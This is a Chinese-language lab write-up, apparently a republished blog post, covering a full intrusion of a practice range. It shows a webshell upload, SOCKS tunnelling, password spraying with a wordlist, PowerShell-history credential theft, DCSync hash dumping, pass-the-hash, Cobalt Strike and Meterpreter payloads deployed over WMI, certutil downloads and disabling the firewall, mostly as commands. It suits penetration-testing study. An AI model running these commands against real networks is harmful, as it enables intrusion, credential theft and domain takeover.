靶机-No-CVE-Range系列靶场B

作者:Cloud Security lab 发布:2025-12-11 11:36 收录:2026-09-16 08:31 1 次阅读 约 2271 字
摘要:靶场环境来自:棉花糖——靶机-No-CVE-Range系列靶场B 大概拓扑如下: 1、端口扫描与服务探测 通达OA任意文件上传,传了一个马,用蚁剑连接 发现有个192.168.10.0/24段的,搭个代理访问 先搭建个隧道,本来想用Stowawa的,没成功 用了一个http协议的工具suo5(后面把suo5代理换成了r…
推荐理由:本文围绕「靶机」、「CVE」等主题展开。

 

靶场环境来自:棉花糖——靶机-No-CVE-Range系列靶场B

大概拓扑如下:

1、端口扫描与服务探测

通达OA任意文件上传,传了一个马,用蚁剑连接

发现有个192.168.10.0/24段的,搭个代理访问

先搭建个隧道,本来想用Stowawa的,没成功

用了一个http协议的工具suo5(后面把suo5代理换成了reGeorg,可以看"在搭建代理链过程中遇到问题")

因为网站是php语言写的,所以把.php文件上传到根目录作为服务端

客户端如下

配置proxifier

192.168.111.20主机里面有有一个密码本

cmd:dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* == *user*

powershell:Get-ChildItem -Path C:\Users\ -Recurse -ErrorAction SilentlyContinue -Include *pass*.txt, *pass*.xml, *pass*.ini, *cred*, *vnc*, *.config, *user* -File | Select-Object FullName, Length, LastWriteTime

192.168.10.128 alice/P@ssw0rd

将fscan传到第一台主机上,进行内网网段扫描,存在一台主机192.168.10.128

进行端口扫描,fscan -h 192.168.10.128 -p 1-65535 -o fscan.txt

2、3389远程登录

注意,要加域前缀(例如 domain\username

信息收集,还有一个域环境,网段172.16.10.0/24

3、域内信息收集

这里记下工具BloodHound,可视化图形显示域环境中的关系(你会说,你咋就写这点呢,因为我第一次用,不太会用)

工具安装使用参考文章:https://www.freebuf.com/articles/web/288370.html

5、内网穿透搭建

搭建个代理链,物理机访问172.16段

在reGeorg搭建好的基础上

192.168.10.98执行:建立一个反向 SOCKS 代理,在本机的 1080 端口启动 SOCKS5 代理,连接到远程主机的 7778 端口
ew_for_Win.exe -s rcsocks -l 1080 -e 7778
192.168.10.128执行:运行反向连接命令,连接到 192.168.10.98远程的 7778 端口
ew_for_Win.exe -s rssocks -d 192.168.10.98 -e 7778

Pro设置

这里的6665就是上面搭的1111

测试是否搭建成功

.\nxc.exe smb 172.16.10.129 -u alice -p P@ssw0rd

没啥问题,可以通过物理机访问到172.16段

6、共享目录枚举与敏感信息获取

本来想在物理机上枚举172网段SMB共享目录,运行命令以后,web服务就挂,需要重启靶场才行,只能在内网主机上执行了

列出所有可访问的共享文件夹:.\nxc.exe smb 172.16.10.0/24 -u alice -p P@ssw0rd --shares
  • • 发现172.16.10.129自定义共享 xya,有读权限

爬取目标共享文件夹名为 "xya"内所有文件

.\nxc.exe smb 172.16.10.0/24 -u alice -p P@ssw0rd -d xya.com --spider xya --pattern .

临时挂载 SMB 共享、读取文件、然后删除驱动器映射

cmd:net use Z: \\172.16.10.129\xya /user:xya.com\alice P@ssw0rd && type Z:\Memo.txt && net use Z: /delete

arlpass
anonymous
root
12345678
private
123
zxsoft1234!@#$
123456
admin
system
hicomadmin
eyou_admin
cyouadmin
#NAME?
leadsec.auditor
12345
cnoa.cn2010password
leadsec@7766
admin123
leadsec
leadsec32
leadsec.useradmin
leadsec.waf
admin*PWD
firewall
Xyacontribution1!
hillstone
guest
qxcomm1680
qxcommsupport
qxcomm1688
qxcommsuport
sua_password$123
sa_password$123
password$123
venus70
venus60
sys$admin@028
freesvr
csmp@CLOUD987

7、域用户枚举与密码喷洒

nxc.exe smb 172.16.10.0/24 -u user.txt -p pass.txt

8、本地权限排查与凭据挖掘

你会有疑问,这怎么用CS执行了?因为这个靶场不是连续做完的,截图就不连贯,可以看下面的"上线到CS"

从PowerShell历史文件,获取高权限用户凭据(calue/LongliveChina1!)

用于窃取所有用户PowerShell命令历史记录的命令
powerpick Get-ChildItem -Path "C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\" -Recurse -ErrorAction SilentlyContinue | ForEach-Object { "`n=== $($_.FullName) ==="; Get-Content $_.FullName -ErrorAction SilentlyContinue } | Out-File C:\Windows\Temp\all_history.txt

Get-ChildItem -Path "C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\" 
              -Recurse 
              -ErrorAction SilentlyContinue
-Path    C:\Users\*\AppData\...    搜索所有用户的 PSReadLine 目录
-Recurse    -    递归搜索子目录
-ErrorAction    SilentlyContinue    忽略权限错误(无法访问的用户目录)

download C:\Windows\Temp\all_history.txt

calue/LongliveChina1!

9、DCsync权限识别与利用

通过BloodHound确认用户(calue)具备DCsync权限,使用secretsdump.py工具导出域内用户哈希(含域管理员Administrator哈希)

https://github.com/ropnop/impacket_static_binaries/releases

物理机:D:\tools\secretsdump_windows.exe xya/calue:'LongliveChina1!'@172.16.10.130 -dc-ip 172.16.10.130 -just-dc-user administrator
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ece39e1190e04b11c0c21797feb2ec1e:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:c64e5ebc5f7b7ac425200b12eac0dfb70e36377052547242b185683eac422dcf
Administrator:aes128-cts-hmac-sha1-96:e126327fd843bfc06141b711523f003f
Administrator:des-cbc-md5:ead0b585e9fd3e5d

10、哈希传递登录与域控权限获取

利用域管理员哈希,通过evil-winrm工具实现哈希传递登录域控制器(172.16.10.130)

https://github.com/Hackplayers/evil-winrm

使用前进行安装了gem install evil-winrm,参考文章:https://blog.csdn.net/qq_66635990/article/details/135574584

物理机:ruby evil-winrm.rb -u administrator -H ece39e1190e04b11c0c21797feb2ec1e -i 172.16.10.130

上线到CS

第一台主机上线到CS

木马上传到蚁剑运行就行

第二台主机上线CS

参考文章:https://www.lmboke.com/archives/nei-wang-shen-tou-dai-li-socksxie-yi-lu-you-bu-chu-wang-hou-shen-tou-tong-xun-cs

思路:在192.168.10.128执行正向连接的木马程序,然后让192.168.10.98去主动连接192.168.10.128

cs添加监听器

生成exe程序

上传到192.168.10.128的系统执行exe程序。来到10.98的会话中执行如下命令

命令:connect ip port。connect 192.168.10.128 4433

成功上线

第三台主机上线CS

需求:把木马运行在第三台主机上。监听和木马都可以用同一个,端口虽然一样但是电脑不一样。

假设已经通过密码喷洒得到了凭证vllay/Xyacontribution1!

  • • 在192.168.10.128创建共享目录
shell mkdir C:\share
  • • 复制木马到共享目录
shell copy C:\Users\Public\beacon4.exe C:\share\   (C:\Users\alice\Desktop)
  • • 使用域账户 XYA\vllay 和密码创建访问令牌
make_token XYA\vllay Xyacontribution1!
make_token 是cs的内置命令,用于:在当前会话中模拟指定用户身份、避免在每条命令中重复输入凭证、对后续所有操作生效

找到密码本:
shell dir \\172.16.10.129\c$
shell type \\172.16.10.129\c$\xya_share\Memo.txt
  • • 将木马程序复制到目标机器的临时目录
shell copy C:\share\beacon4.exe \\172.16.10.129\c$\Windows\Temp\beacon4.exe
  • • 使用WMI远程执行木马程序
shell wmic /node:172.16.10.129 /user:XYA\vllay /password:Xyacontribution1! process call create "C:\Windows\Temp\beacon4.exe"

在192.168.10.128会话执行:
命令:connect ip port。connect 172.16.10.129 4434

成功上线

上线到MSF

都是主动连接

需要获取一个正向的msf连接,生成一个正向tcp连接的payload文件:

.\msfvenom -p windows/x64/meterpreter/bind_tcp lport=5555 -f exe -o b.exe

将木马上传

exe执行成功之后,192.168.111.20会开启5555端口监听,然后在msf上个运行blin_tcp模块来获取shell

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.111.20
set lport 5555
run

上线第二个主机,添加路由

将木马上传

exe执行成功之后,192.168.10.128会开启5555端口监听,然后在msf上个运行blin_tcp模块来获取shell

10.129的上线参照CS和msf就可以,一样的。

文件上传到192.168.10.128主机方法:

方法一:直接通过3389复制粘贴

方法二:10.128可以访问到10.98,把文件上传到图片目录上去

然后10.128请求路径,即可下载

certutil -urlcache -split -f http://192.168.10.98/images/ew_for_Win.exe

在搭建代理链过程中遇到问题

问题一:在192.168.10.98这个主机上执行-s rcsocks -l 1080 -e 7778命令时,3389就断,最后把suo5代理换成了reGeorg,就解决了

换reGeorg也和suo5操作差不多

netstat -ano |findstr  端口
taskkill /t /f /pid  111

python3 neoreg.py -k password -u http://192.168.111.20/tunnel.php -p 6665

问题二:在搭建过程中,192.168.10.128主机上的ew一直连接不到10.98主机,ping可以ping通

netsh advfirewall set allprofiles state off

关闭10.98主机Windows 防火墙,问题解决

4、权限滥用修改用户密码

查看对特定用户的委派权限

# 需要安装 ActiveDirectory 模块
Import-Module ActiveDirectory

# 查看对 wake 用户的有效权限
(Get-Acl "AD:\$(Get-ADUser wake -Properties DistinguishedName | Select-Object -ExpandProperty DistinguishedName)").Access | Where-Object {$_.IdentityReference -like "*alice*"}

权限详情解析

ActiveDirectoryRights : ExtendedRight          ← 扩展权限
ObjectType            : 00299570-246d-11d0-a768-00aa006e0529  ← 重置密码 GUID
AccessControlType     : Allow                  ← 允许
IdentityReference     : XYA\alice              ← 授权给 alice

00299570-246d-11d0-a768-00aa006e0529 是 Active Directory 中 "User-Force-Change-Password"(重置密码) 的标准 GUID。

现在可以重置密码了

使用 PowerShell

# 重置 wake 的密码
$newPassword = ConvertTo-SecureString "NewP@ssw0rd2025!" -AsPlainText -Force
Set-ADAccountPassword -Identity wake -Reset -NewPassword $newPassword

切换到 wake 域用户

runas /user:XYA\wake powershell

搜索flag文件

powershell:Get-ChildItem -Path C:\Users\ -Recurse -ErrorAction SilentlyContinue -Include *pass*.txt, *pass*.xml, *pass*.ini, *cred*, *vnc*, *.config, *user* -File | Select-Object FullName, Length, LastWriteTime

以Wake域用户身份上线CS

以 Wake 域用户权限运行 Alice 桌面的文件

复制文件到公共位置,这样wake才有权访问

runas /user:XYA\wake  "C:\Users\Public\beacon2.exe"

以wake身份上线

我是边学边做的,有不对的地方请谅解,请指正,感谢。

 

转载声明:本文转载自原发布平台 (作者:Cloud Security lab), 原文标题《靶机-No-CVE-Range系列靶场B》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。